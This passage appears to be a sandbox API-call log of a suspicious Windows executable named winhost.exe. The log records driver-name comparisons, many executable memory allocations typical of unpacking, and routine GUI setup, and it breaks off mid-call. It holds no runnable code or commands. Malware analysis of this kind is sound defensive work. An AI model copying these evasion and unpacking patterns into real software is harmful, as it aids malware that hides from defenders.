[0260.126] lstrcmpiA (lpString1="Filem", lpString2="csc.s") returned 1 [0260.126] lstrcmpiA (lpString1="Filem", lpString2="dfsc.") returned 1 [0260.126] lstrcmpiA (lpString1="Filem", lpString2="blbdr") returned 1 [0260.126] lstrcmpiA (lpString1="Filem", lpString2="tunne") returned -1 [0260.126] lstrcmpiA (lpString1="Filem", lpString2="vgapn") returned -1 [0260.126] lstrcmpiA (lpString1="Filem", lpString2="HDAud") returned -1 [0260.126] lstrcmpiA (lpString1="Filem", lpString2="usbeh") returned -1 [0260.126] lstrcmpiA (lpString1="Filem", lpString2="USBPO") returned -1 [0260.126] lstrcmpiA (lpString1="Filem", lpString2="E1G60") returned 1 [0260.126] lstrcmpiA (lpString1="Filem", lpString2="intel") returned -1 [0260.126] lstrcmpiA (lpString1="Filem", lpString2="Compo") returned 1 [0260.126] lstrcmpiA (lpString1="Filem", lpString2="Agile") returned 1 [0260.126] lstrcmpiA (lpString1="Filem", lpString2="rasl2") returned -1 [0260.126] lstrcmpiA (lpString1="Filem", lpString2="ndist") returned -1 [0260.126] lstrcmpiA (lpString1="Filem", lpString2="ndisw") returned -1 [0260.127] lstrcmpiA (lpString1="Filem", lpString2="raspp") returned -1 [0260.127] lstrcmpiA (lpString1="Filem", lpString2="raspp") returned -1 [0260.127] lstrcmpiA (lpString1="Filem", lpString2="rasss") returned -1 [0260.127] lstrcmpiA (lpString1="Filem", lpString2="rdpbu") returned -1 [0260.127] lstrcmpiA (lpString1="Filem", lpString2="kbdcl") returned -1 [0260.127] lstrcmpiA (lpString1="Filem", lpString2="moucl") returned -1 [0260.127] lstrcmpiA (lpString1="Filem", lpString2="swenu") returned -1 [0260.127] lstrcmpiA (lpString1="Filem", lpString2="ks.sy") returned -1 [0260.127] lstrcmpiA (lpString1="Filem", lpString2="umbus") returned -1 [0260.127] lstrcmpiA (lpString1="Filem", lpString2="usbhu") returned -1 [0260.127] lstrcmpiA (lpString1="Filem", lpString2="NDPro") returned -1 [0260.127] lstrcmpiA (lpString1="Filem", lpString2="HdAud") returned -1 [0260.127] lstrcmpiA (lpString1="Filem", lpString2="portc") returned -1 [0260.127] lstrcmpiA (lpString1="Filem", lpString2="drmk.") returned 1 [0260.127] lstrcmpiA (lpString1="Filem", lpString2="ksthu") returned -1 [0260.127] lstrcmpiA (lpString1="Filem", lpString2="crash") returned 1 [0260.127] lstrcmpiA (lpString1="Filem", lpString2="dump_") returned 1 [0260.127] lstrcmpiA (lpString1="Filem", lpString2="dump_") returned 1 [0260.127] lstrcmpiA (lpString1="Filem", lpString2="dump_") returned 1 [0260.127] lstrcmpiA (lpString1="Filem", lpString2="win32") returned -1 [0260.127] lstrcmpiA (lpString1="Filem", lpString2="Dxapi") returned 1 [0260.127] lstrcmpiA (lpString1="Filem", lpString2="dxg.s") returned 1 [0260.127] lstrcmpiA (lpString1="Filem", lpString2="monit") returned -1 [0260.127] lstrcmpiA (lpString1="Filem", lpString2="TSDDD") returned -1 [0260.127] lstrcmpiA (lpString1="Filem", lpString2="frame") returned -1 [0260.127] lstrcmpiA (lpString1="Filem", lpString2="hidus") returned -1 [0260.127] lstrcmpiA (lpString1="Filem", lpString2="HIDCL") returned -1 [0260.127] lstrcmpiA (lpString1="Filem", lpString2="HIDPA") returned -1 [0260.128] lstrcmpiA (lpString1="Filem", lpString2="USBD.") returned -1 [0260.128] lstrcmpiA (lpString1="Filem", lpString2="kbdhi") returned -1 [0260.128] lstrcmpiA (lpString1="Filem", lpString2="luafv") returned -1 [0260.128] lstrcmpiA (lpString1="Filem", lpString2="mouhi") returned -1 [0260.128] lstrcmpiA (lpString1="Filem", lpString2="lltdi") returned -1 [0260.128] lstrcmpiA (lpString1="Filem", lpString2="rspnd") returned -1 [0260.128] lstrcmpiA (lpString1="Filem", lpString2="HTTP.") returned -1 [0260.128] lstrcmpiA (lpString1="Filem", lpString2="bowse") returned 1 [0260.128] lstrcmpiA (lpString1="Filem", lpString2="mpsdr") returned -1 [0260.128] lstrcmpiA (lpString1="Filem", lpString2="mrxsm") returned -1 [0260.128] lstrcmpiA (lpString1="Filem", lpString2="mrxsm") returned -1 [0260.128] lstrcmpiA (lpString1="Filem", lpString2="mrxsm") returned -1 [0260.417] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x4, lpflOldProtect=0x49558d | out: lpflOldProtect=0x49558d*=0x4) returned 1 [0260.417] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x4, lpflOldProtect=0x495e65 | out: lpflOldProtect=0x495e65*=0x4) returned 1 [0260.419] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x40) returned 0x3e0000 [0260.420] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x40) returned 0x3f0000 [0260.421] VirtualAlloc (lpAddress=0x0, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x40) returned 0x970000 [0260.421] VirtualAlloc (lpAddress=0x0, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x40) returned 0x980000 [0260.421] VirtualAlloc (lpAddress=0x0, dwSize=0x153c, flAllocationType=0x1000, flProtect=0x40) returned 0x990000 [0260.422] GetModuleHandleA (lpModuleName="NTDLL") returned 0x77350000 [0260.422] VirtualAlloc (lpAddress=0x0, dwSize=0x1033, flAllocationType=0x1000, flProtect=0x40) returned 0x9a0000 [0260.423] GetModuleHandleA (lpModuleName="NTDLL") returned 0x77350000 [0260.423] GetModuleHandleA (lpModuleName="NTDLL") returned 0x77350000 [0260.423] GetModuleHandleA (lpModuleName="NTDLL") returned 0x77350000 [0260.424] VirtualAlloc (lpAddress=0x0, dwSize=0x18ad, flAllocationType=0x1000, flProtect=0x40) returned 0x23b0000 [0260.425] GetModuleHandleA (lpModuleName="NTDLL") returned 0x77350000 [0260.425] VirtualAlloc (lpAddress=0x0, dwSize=0x7a9, flAllocationType=0x1000, flProtect=0x40) returned 0x23c0000 [0260.425] VirtualAlloc (lpAddress=0x0, dwSize=0xefa, flAllocationType=0x1000, flProtect=0x40) returned 0x23d0000 [0260.426] VirtualAlloc (lpAddress=0x0, dwSize=0x163, flAllocationType=0x1000, flProtect=0x40) returned 0x23e0000 [0260.426] VirtualFree (lpAddress=0x990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0260.426] VirtualAlloc (lpAddress=0x0, dwSize=0xcd8, flAllocationType=0x1000, flProtect=0x40) returned 0x990000 [0260.427] VirtualAlloc (lpAddress=0x0, dwSize=0x28b, flAllocationType=0x1000, flProtect=0x40) returned 0x23f0000 [0260.427] VirtualFree (lpAddress=0x990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0260.427] VirtualAlloc (lpAddress=0x0, dwSize=0xc94, flAllocationType=0x1000, flProtect=0x40) returned 0x990000 [0260.428] VirtualFree (lpAddress=0x990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0260.428] VirtualAlloc (lpAddress=0x0, dwSize=0x640, flAllocationType=0x1000, flProtect=0x40) returned 0x990000 [0260.429] VirtualFree (lpAddress=0x990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0260.429] VirtualAlloc (lpAddress=0x0, dwSize=0x153c, flAllocationType=0x1000, flProtect=0x40) returned 0x990000 [0260.430] VirtualFree (lpAddress=0x990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0260.430] VirtualAlloc (lpAddress=0x0, dwSize=0xc94, flAllocationType=0x1000, flProtect=0x40) returned 0x990000 [0260.451] VirtualFree (lpAddress=0x990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0260.451] VirtualAlloc (lpAddress=0x0, dwSize=0x153c, flAllocationType=0x1000, flProtect=0x40) returned 0x990000 [0260.452] VirtualAlloc (lpAddress=0x0, dwSize=0x518, flAllocationType=0x1000, flProtect=0x40) returned 0x2400000 [0260.453] VirtualAlloc (lpAddress=0x0, dwSize=0x88, flAllocationType=0x1000, flProtect=0x40) returned 0x2410000 [0260.453] GetModuleHandleA (lpModuleName="NTDLL") returned 0x77350000 [0260.453] GetModuleHandleA (lpModuleName="NTDLL") returned 0x77350000 [0260.454] VirtualAlloc (lpAddress=0x0, dwSize=0x6df, flAllocationType=0x1000, flProtect=0x40) returned 0x2420000 [0260.454] VirtualAlloc (lpAddress=0x0, dwSize=0xcb0, flAllocationType=0x1000, flProtect=0x40) returned 0x2430000 [0260.454] VirtualAlloc (lpAddress=0x0, dwSize=0x49e, flAllocationType=0x1000, flProtect=0x40) returned 0x2440000 [0260.467] VirtualAlloc (lpAddress=0x0, dwSize=0x1dd, flAllocationType=0x1000, flProtect=0x40) returned 0x2450000 [0260.467] VirtualAlloc (lpAddress=0x0, dwSize=0xc5c, flAllocationType=0x1000, flProtect=0x40) returned 0x2460000 [0260.468] VirtualAlloc (lpAddress=0x0, dwSize=0x11d, flAllocationType=0x1000, flProtect=0x40) returned 0x2470000 [0260.469] VirtualAlloc (lpAddress=0x0, dwSize=0x1006, flAllocationType=0x1000, flProtect=0x40) returned 0x2480000 [0260.470] GetModuleHandleA (lpModuleName="NTDLL") returned 0x77350000 [0260.470] GetModuleHandleA (lpModuleName="NTDLL") returned 0x77350000 [0260.471] VirtualAlloc (lpAddress=0x0, dwSize=0xf9c, flAllocationType=0x1000, flProtect=0x40) returned 0x2490000 [0260.471] VirtualAlloc (lpAddress=0x0, dwSize=0x51e, flAllocationType=0x1000, flProtect=0x40) returned 0x24a0000 [0260.472] VirtualFree (lpAddress=0x990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0260.472] VirtualAlloc (lpAddress=0x0, dwSize=0x3c, flAllocationType=0x1000, flProtect=0x40) returned 0x990000 [0260.472] VirtualFree (lpAddress=0x990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0260.472] VirtualAlloc (lpAddress=0x0, dwSize=0xb2c, flAllocationType=0x1000, flProtect=0x40) returned 0x990000 [0260.473] VirtualFree (lpAddress=0x990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0260.473] VirtualAlloc (lpAddress=0x0, dwSize=0xcd8, flAllocationType=0x1000, flProtect=0x40) returned 0x990000 [0260.475] VirtualAlloc (lpAddress=0x0, dwSize=0xba5, flAllocationType=0x1000, flProtect=0x40) returned 0x24b0000 [0260.476] VirtualAlloc (lpAddress=0x0, dwSize=0xce1, flAllocationType=0x1000, flProtect=0x40) returned 0x24c0000 [0260.476] VirtualAlloc (lpAddress=0x0, dwSize=0x1a1, flAllocationType=0x1000, flProtect=0x40) returned 0x24d0000 [0260.477] VirtualAlloc (lpAddress=0x0, dwSize=0x200, flAllocationType=0x1000, flProtect=0x40) returned 0x24f0000 [0260.478] VirtualAlloc (lpAddress=0x0, dwSize=0x512, flAllocationType=0x1000, flProtect=0x40) returned 0x2500000 [0260.479] VirtualAlloc (lpAddress=0x0, dwSize=0x3de, flAllocationType=0x1000, flProtect=0x40) returned 0x2510000 [0260.480] VirtualAlloc (lpAddress=0x0, dwSize=0x47c, flAllocationType=0x1000, flProtect=0x40) returned 0x2520000 [0260.481] VirtualAlloc (lpAddress=0x0, dwSize=0x4ac, flAllocationType=0x1000, flProtect=0x40) returned 0x2530000 [0260.482] VirtualAlloc (lpAddress=0x0, dwSize=0x2b5, flAllocationType=0x1000, flProtect=0x40) returned 0x2540000 [0260.483] VirtualAlloc (lpAddress=0x0, dwSize=0xa84, flAllocationType=0x1000, flProtect=0x40) returned 0x2550000 [0260.484] VirtualAlloc (lpAddress=0x0, dwSize=0x2cf, flAllocationType=0x1000, flProtect=0x40) returned 0x2560000 [0260.485] VirtualAlloc (lpAddress=0x0, dwSize=0x731, flAllocationType=0x1000, flProtect=0x40) returned 0x2570000 [0260.485] VirtualAlloc (lpAddress=0x0, dwSize=0x37c, flAllocationType=0x1000, flProtect=0x40) returned 0x2580000 [0260.486] VirtualAlloc (lpAddress=0x0, dwSize=0x431, flAllocationType=0x1000, flProtect=0x40) returned 0x2590000 [0260.487] VirtualAlloc (lpAddress=0x0, dwSize=0x460, flAllocationType=0x1000, flProtect=0x40) returned 0x25a0000 [0260.488] VirtualAlloc (lpAddress=0x0, dwSize=0x55e, flAllocationType=0x1000, flProtect=0x40) returned 0x25b0000 [0260.489] VirtualAlloc (lpAddress=0x0, dwSize=0x697, flAllocationType=0x1000, flProtect=0x40) returned 0x25c0000 [0260.490] VirtualAlloc (lpAddress=0x0, dwSize=0x440, flAllocationType=0x1000, flProtect=0x40) returned 0x25d0000 [0260.491] VirtualAlloc (lpAddress=0x0, dwSize=0x4bd, flAllocationType=0x1000, flProtect=0x40) returned 0x25e0000 [0260.492] VirtualAlloc (lpAddress=0x0, dwSize=0x34e, flAllocationType=0x1000, flProtect=0x40) returned 0x25f0000 [0260.493] VirtualAlloc (lpAddress=0x0, dwSize=0x452, flAllocationType=0x1000, flProtect=0x40) returned 0x2600000 [0260.494] VirtualAlloc (lpAddress=0x0, dwSize=0x978, flAllocationType=0x1000, flProtect=0x40) returned 0x2610000 [0260.494] VirtualAlloc (lpAddress=0x0, dwSize=0x30d, flAllocationType=0x1000, flProtect=0x40) returned 0x2620000 [0260.495] VirtualAlloc (lpAddress=0x0, dwSize=0x944, flAllocationType=0x1000, flProtect=0x40) returned 0x2630000 [0260.496] VirtualAlloc (lpAddress=0x0, dwSize=0x3d8, flAllocationType=0x1000, flProtect=0x40) returned 0x2640000 [0260.497] VirtualAlloc (lpAddress=0x0, dwSize=0x7bc, flAllocationType=0x1000, flProtect=0x40) returned 0x2650000 [0260.498] VirtualAlloc (lpAddress=0x0, dwSize=0x261, flAllocationType=0x1000, flProtect=0x40) returned 0x2660000 [0260.499] VirtualAlloc (lpAddress=0x0, dwSize=0x33d, flAllocationType=0x1000, flProtect=0x40) returned 0x2670000 [0260.506] VirtualAlloc (lpAddress=0x0, dwSize=0x425, flAllocationType=0x1000, flProtect=0x40) returned 0x2680000 [0260.507] VirtualAlloc (lpAddress=0x0, dwSize=0x3b2, flAllocationType=0x1000, flProtect=0x40) returned 0x2690000 [0260.509] VirtualAlloc (lpAddress=0x0, dwSize=0x1917, flAllocationType=0x1000, flProtect=0x40) returned 0x26a0000 [0260.510] VirtualAlloc (lpAddress=0x0, dwSize=0x155, flAllocationType=0x1000, flProtect=0x40) returned 0x26b0000 [0260.511] VirtualAlloc (lpAddress=0x0, dwSize=0x325, flAllocationType=0x1000, flProtect=0x40) returned 0x26c0000 [0260.513] VirtualAlloc (lpAddress=0x0, dwSize=0x97b, flAllocationType=0x1000, flProtect=0x40) returned 0x26d0000 [0260.513] VirtualFree (lpAddress=0x990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0260.513] VirtualAlloc (lpAddress=0x0, dwSize=0x153c, flAllocationType=0x1000, flProtect=0x40) returned 0x990000 [0260.514] VirtualFree (lpAddress=0x990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0260.514] VirtualAlloc (lpAddress=0x0, dwSize=0x640, flAllocationType=0x1000, flProtect=0x40) returned 0x990000 [0260.518] VirtualFree (lpAddress=0x990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0260.518] VirtualAlloc (lpAddress=0x0, dwSize=0x1d8, flAllocationType=0x1000, flProtect=0x40) returned 0x990000 [0260.536] VirtualFree (lpAddress=0x990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0260.536] VirtualAlloc (lpAddress=0x0, dwSize=0x70, flAllocationType=0x1000, flProtect=0x40) returned 0x990000 [0260.539] VirtualFree (lpAddress=0x990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0260.539] VirtualFree (lpAddress=0x900000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0260.540] VirtualFree (lpAddress=0x3d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0260.540] VirtualFree (lpAddress=0x970000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0260.540] VirtualFree (lpAddress=0x980000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0260.541] VirtualFree (lpAddress=0x3f0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0260.541] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x71e0a4 | out: Wow64Process=0x71e0a4) returned 1 [0260.543] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x4, lpflOldProtect=0x49558d | out: lpflOldProtect=0x49558d*=0x4) returned 1 [0260.543] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x4, lpflOldProtect=0x495e65 | out: lpflOldProtect=0x495e65*=0x4) returned 1 [0260.544] GetProcAddress (hModule=0x77350000, lpProcName="RtlAllocateHeap") returned 0x7737e026 [0260.544] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x4, lpflOldProtect=0x49558d | out: lpflOldProtect=0x49558d*=0x4) returned 1 [0260.544] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x4, lpflOldProtect=0x495df3 | out: lpflOldProtect=0x495df3*=0x4) returned 1 [0260.544] GetCommandLineA () returned="\"C:\\Windows\\System32\\winhost.exe\" " [0260.544] GetVersion () returned 0x1db10106 [0260.544] GetVersion () returned 0x1db10106 [0260.544] GetCurrentThreadId () returned 0x54c [0260.545] GetThreadLocale () returned 0x409 [0260.546] LoadStringBaseExW () returned 0x1c [0260.546] WCSToMBEx () returned 0x1c [0260.547] LoadStringBaseExW () returned 0x17 [0260.547] WCSToMBEx () returned 0x17 [0260.547] LoadStringBaseExW () returned 0x15 [0260.547] WCSToMBEx () returned 0x15 [0260.547] LoadStringBaseExW () returned 0x10 [0260.547] WCSToMBEx () returned 0x10 [0260.547] LoadStringBaseExW () returned 0x29 [0260.547] WCSToMBEx () returned 0x29 [0260.547] LoadStringBaseExW () returned 0x10 [0260.547] WCSToMBEx () returned 0x10 [0260.547] LoadStringBaseExW () returned 0x24 [0260.547] WCSToMBEx () returned 0x24 [0260.547] LoadStringBaseExW () returned 0x22 [0260.547] WCSToMBEx () returned 0x22 [0260.547] LoadStringBaseExW () returned 0x19 [0260.547] WCSToMBEx () returned 0x19 [0260.547] LoadStringBaseExW () returned 0x1f [0260.547] WCSToMBEx () returned 0x1f [0260.547] LoadStringBaseExW () returned 0xe [0260.547] WCSToMBEx () returned 0xe [0260.547] LoadStringBaseExW () returned 0xd [0260.547] WCSToMBEx () returned 0xd [0260.547] LoadStringBaseExW () returned 0x16 [0260.547] WCSToMBEx () returned 0x16 [0260.547] LoadStringBaseExW () returned 0x10 [0260.547] WCSToMBEx () returned 0x10 [0260.547] LoadStringBaseExW () returned 0x16 [0260.547] WCSToMBEx () returned 0x16 [0260.547] LoadStringBaseExW () returned 0x18 [0260.547] WCSToMBEx () returned 0x18 [0260.547] LoadStringBaseExW () returned 0x17 [0260.547] WCSToMBEx () returned 0x17 [0260.547] LoadStringBaseExW () returned 0x1f [0260.547] WCSToMBEx () returned 0x1f [0260.547] LoadStringBaseExW () returned 0x20 [0260.547] WCSToMBEx () returned 0x20 [0260.547] LoadStringBaseExW () returned 0x10 [0260.547] WCSToMBEx () returned 0x10 [0260.547] LoadStringBaseExW () returned 0x11 [0260.547] WCSToMBEx () returned 0x11 [0260.547] LoadStringBaseExW () returned 0x10 [0260.547] WCSToMBEx () returned 0x10 [0260.548] LoadStringBaseExW () returned 0x15 [0260.548] WCSToMBEx () returned 0x15 [0260.548] LoadStringBaseExW () returned 0x9 [0260.548] WCSToMBEx () returned 0x9 [0260.548] LoadStringBaseExW () returned 0x17 [0260.548] WCSToMBEx () returned 0x17 [0260.548] LoadStringBaseExW () returned 0x12 [0260.548] WCSToMBEx () returned 0x12 [0260.548] LoadStringBaseExW () returned 0x13 [0260.548] WCSToMBEx () returned 0x13 [0260.548] LoadStringBaseExW () returned 0x10 [0260.548] WCSToMBEx () returned 0x10 [0260.548] LoadStringBaseExW () returned 0xe [0260.548] WCSToMBEx () returned 0xe [0260.548] LoadStringBaseExW () returned 0xd [0260.548] WCSToMBEx () returned 0xd [0260.548] LoadStringBaseExW () returned 0x19 [0260.548] WCSToMBEx () returned 0x19 [0260.548] GetThreadLocale () returned 0x409 [0260.548] GetThreadLocale () returned 0x409 [0260.549] GetThreadLocale () returned 0x409 [0260.549] GetThreadLocale () returned 0x409 [0260.549] GetThreadLocale () returned 0x409 [0260.550] NtUserGetDC () returned 0x30101be [0260.550] GetDeviceCaps (hdc=0x30101be, index=90) returned 96 [0260.550] GdiReleaseDC () returned 0x1 [0260.550] NtUserCallOneParam (Param=0x30101be, Routine=0x3b) returned 0x1 [0260.550] NtUserGetDC () returned 0x30101be [0260.550] GetDeviceCaps (hdc=0x30101be, index=104) returned 0 [0260.550] GdiReleaseDC () returned 0x1 [0260.550] NtUserCallOneParam (Param=0x30101be, Routine=0x3b) returned 0x1 [0260.550] CreatePalette (plpal=0x18f500) returned 0x1208025b [0260.550] GetStockObject (i=7) returned 0x1b00017 [0260.550] GetStockObject (i=5) returned 0x1900015 [0260.550] GetStockObject (i=13) returned 0x18a002e [0260.550] LoadIconW (hInstance=0x0, lpIconName=0x7f00) returned 0x10027 [0260.551] LoadStringBaseExW () returned 0x4 [0260.551] WCSToMBEx () returned 0x4 [0260.551] LoadStringBaseExW () returned 0x5 [0260.551] WCSToMBEx () returned 0x5 [0260.551] LoadStringBaseExW () returned 0x6 [0260.551] WCSToMBEx () returned 0x6 [0260.551] LoadStringBaseExW () returned 0x3 [0260.551] WCSToMBEx () returned 0x3 [0260.551] LoadStringBaseExW () returned 0x3 [0260.551] WCSToMBEx () returned 0x3 [0260.551] LoadStringBaseExW () returned 0x4 [0260.551] WCSToMBEx () returned 0x4 [0260.551] LoadStringBaseExW () returned 0x5 [0260.551] WCSToMBEx () returned 0x5 [0260.551] LoadStringBaseExW () returned 0x2 [0260.551] WCSToMBEx () returned 0x2 [0260.551] LoadStringBaseExW () returned 0x4 [0260.551] WCSToMBEx () returned 0x4 [0260.551] LoadStringBaseExW () returned 0x4 [0260.551] WCSToMBEx () returned 0x4 [0260.551] LoadStringBaseExW () returned 0x3 [0260.551] WCSToMBEx () returned 0x3 [0260.551] LoadStringBaseExW () returned 0x4 [0260.551] WCSToMBEx () returned 0x4 [0260.551] LoadStringBaseExW () returned 0x4 [0260.551] WCSToMBEx () returned 0x4 [0260.551] LoadStringBaseExW () returned 0x5 [0260.551] WCSToMBEx () returned 0x5 [0260.551] LoadStringBaseExW () returned 0x5 [0260.551] WCSToMBEx () returned 0x5 [0260.551] LoadStringBaseExW () returned 0x3 [0260.551] WCSToMBEx () returned 0x3 [0260.551] LoadStringBaseExW () returned 0x3 [0260.551] WCSToMBEx () returned 0x3 [0260.551] LoadStringBaseExW () returned 0x4 [0260.551] WCSToMBEx () returned 0x4 [0260.551] RtlCaptureAnsiString () returned 0x1 [0260.551] NtUserRegisterWindowMessage () returned 0xc052 [0260.551] RtlCaptureAnsiString () returned 0x1 [0260.551] NtUserRegisterWindowMessage () returned 0xc0ef [0260.551] GetCurrentThreadId () returned 0x54c [0260.551] InternalAddAtom () returned 0xc04a [0260.552] LoadStringBaseExW () returned 0xb [0260.552] WCSToMBEx () returned 0xb [0260.552] LoadStringBaseExW () returned 0xc [0260.552] WCSToMBEx () returned 0xc [0260.552] LoadStringBaseExW () returned 0x11 [0260.552] WCSToMBEx () returned 0x11 [0260.552] LoadStringBaseExW () returned 0x8 [0260.552] WCSToMBEx () returned 0x8 [0260.552] LoadStringBaseExW () returned 0xe [0260.552] WCSToMBEx () returned 0xe [0260.552] LoadStringBaseExW () returned 0xa [0260.552] WCSToMBEx () returned 0xa [0260.552] LoadStringBaseExW () returned 0x4 [0260.552] WCSToMBEx () returned 0x4 [0260.552] LoadStringBaseExW () returned 0x9 [0260.552] WCSToMBEx () returned 0x9 [0260.552] LoadStringBaseExW () returned 0xf [0260.552] WCSToMBEx () returned 0xf [0260.552] LoadStringBaseExW () returned 0x9 [0260.552] WCSToMBEx () returned 0x9 [0260.552] LoadStringBaseExW () returned 0xf [0260.552] WCSToMBEx () returned 0xf [0260.552] LoadStringBaseExW () returned 0x15 [0260.552] WCSToMBEx () returned 0x15 [0260.552] LoadStringBaseExW () returned 0x10 [0260.552] WCSToMBEx () returned 0x10 [0260.552] LoadStringBaseExW () returned 0xf [0260.552] WCSToMBEx () returned 0xf [0260.552] LoadStringBaseExW () returned 0xe [0260.552] WCSToMBEx () returned 0xe [0260.552] LoadStringBaseExW () returned 0x14 [0260.552] WCSToMBEx () returned 0x14 [0260.552] LoadStringBaseExW () returned 0x9 [0260.552] WCSToMBEx () returned 0x9 [0260.552] LoadStringBaseExW () returned 0x7 [0260.552] WCSToMBEx () returned 0x7 [0260.552] LoadStringBaseExW () returned 0xc [0260.552] WCSToMBEx () returned 0xc [0260.552] LoadStringBaseExW () returned 0xb [0260.552] WCSToMBEx () returned 0xb [0260.552] LoadStringBaseExW () returned 0xd [0260.552] WCSToMBEx () returned 0xd [0260.552] LoadStringBaseExW () returned 0x10 [0260.552] WCSToMBEx () returned 0x10 [0260.552] LoadStringBaseExW () returned 0xb [0260.552] WCSToMBEx () returned 0xb [0260.552] LoadStringBaseExW () returned 0xa [0260.552] WCSToMBEx () returned 0xa [0260.552] LoadStringBaseExW () returned 0x15 [0260.552] WCSToMBEx () returned 0x15 [0260.552] LoadStringBaseExW () returned 0xe [0260.553] WCSToMBEx () returned 0xe [0260.553] LoadStringBaseExW () returned 0xd [0260.553] WCSToMBEx () returned 0xd [0260.553] LoadStringBaseExW () returned 0xb [0260.553] WCSToMBEx () returned 0xb [0260.553] LoadStringBaseExW () returned 0x5 [0260.553] WCSToMBEx () returned 0x5 [0260.553] LoadStringBaseExW () returned 0x8 [0260.553] WCSToMBEx () returned 0x8 [0260.553] LoadStringBaseExW () returned 0xb [0260.553] WCSToMBEx () returned 0xb [0260.553] LoadStringBaseExW () returned 0x5 [0260.553] WCSToMBEx () returned 0x5 [0260.553] LoadStringBaseExW () returned 0x4 [0260.553] WCSToMBEx () returned 0x4 [0260.553] LoadStringBaseExW () returned 0x7 [0260.553] WCSToMBEx () returned 0x7 [0260.553] LoadStringBaseExW () returned 0x4 [0260.553] WCSToMBEx () returned 0x4 [0260.553] LoadStringBaseExW () returned 0x6 [0260.553] WCSToMBEx () returned 0x6 [0260.553] LoadStringBaseExW () returned 0x4 [0260.553] WCSToMBEx () returned 0x4 [0260.553] LoadStringBaseExW () returned 0x3 [0260.553] WCSToMBEx () returned 0x3 [0260.553] LoadStringBaseExW () returned 0x6 [0260.553] WCSToMBEx () returned 0x6 [0260.553] LoadStringBaseExW () returned 0x4 [0260.553] WCSToMBEx () returned 0x4 [0260.553] LoadStringBaseExW () returned 0x4 [0260.553] WCSToMBEx () returned 0x4 [0260.553] LoadStringBaseExW () returned 0x6 [0260.553] WCSToMBEx () returned 0x6 [0260.553] LoadStringBaseExW () returned 0x4 [0260.553] WCSToMBEx () returned 0x4 [0260.553] LoadStringBaseExW () returned 0x5 [0260.553] WCSToMBEx () returned 0x5 [0260.553] LoadStringBaseExW () returned 0x5 [0260.553] WCSToMBEx () returned 0x5 [0260.553] LoadStringBaseExW () returned 0x6 [0260.553] WCSToMBEx () returned 0x6 [0260.553] LoadStringBaseExW () returned 0x5 [0260.553] WCSToMBEx () returned 0x5 [0260.553] RtlCaptureAnsiString () returned 0x1 [0260.553] NtUserRegisterWindowMessage () returned 0xc0eb [0260.553] RtlCaptureAnsiString () returned 0x1 [0260.553] NtUserRegisterWindowMessage () returned 0xc0fe [0260.553] GetVersion () returned 0x1db10106 [0260.553] GetCurrentProcessId () returned 0x548 [0260.553] InternalAddAtom () returned 0xc04b [0260.553] GetCurrentThreadId () returned 0x54c [0260.553] InternalAddAtom () returned 0xc04c [0260.554] RtlCaptureAnsiString () returned 0x1 [0260.554] NtUserRegisterWindowMessage () returned 0xc0ff [0260.554] GetSystemMetrics (nIndex=19) returned 1 [0260.565] GetSystemMetrics (nIndex=75) returned 1 [0260.565] IsInsideUserApiHook () returned 0x1 [0260.565] _BeginIfHookedUserApiHook () returned 0x1 [0260.565] __SEH_epilog4 () returned 0x1 [0260.565] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0260.565] LoadCursorW (hInstance=0x0, lpCursorName=0x7f86) returned 0x10015 [0260.565] LoadCursorW (hInstance=0x400000, lpCursorName=0x7ff9) returned 0x20117 [0260.565] LoadCursorW (hInstance=0x0, lpCursorName=0x7f8b) returned 0x1001b [0260.565] LoadCursorW (hInstance=0x0, lpCursorName=0x7f8a) returned 0x10019 [0260.565] LoadCursorW (hInstance=0x0, lpCursorName=0x7f88) returned 0x10017 [0260.565] LoadCursorW (hInstance=0x400000, lpCursorName=0x7ffa) returned 0x10119 [0260.565] LoadCursorW (hInstance=0x400000, lpCursorName=0x7ffb) returned 0x1011b [0260.566] LoadCursorW (hInstance=0x400000, lpCursorName=0x7ffc) returned 0x1011d [0260.566] LoadCursorW (hInstance=0x400000, lpCursorName=0x7ffd) returned 0x1011f [0260.566] LoadCursorW (hInstance=0x400000, lpCursorName=0x7fff) returned 0x10121 [0260.566] LoadCursorW (hInstance=0x400000, lpCursorName=0x7ffe) returned 0x10123 [0260.566] LoadCursorW (hInstance=0x0, lpCursorName=0x7f02) returned 0x10007 [0260.566] LoadCursorW (hInstance=0x0, lpCursorName=0x7f04) returned 0x1000b [0260.566] LoadCursorW (hInstance=0x0, lpCursorName=0x7f84) returned 0x10011 [0260.566] LoadCursorW (hInstance=0x0, lpCursorName=0x7f82) returned 0x1000d [0260.566] LoadCursorW (hInstance=0x0, lpCursorName=0x7f85) returned 0x10013 [0260.567] LoadCursorW (hInstance=0x0, lpCursorName=0x7f83) returned 0x1000f [0260.567] LoadCursorW (hInstance=0x0, 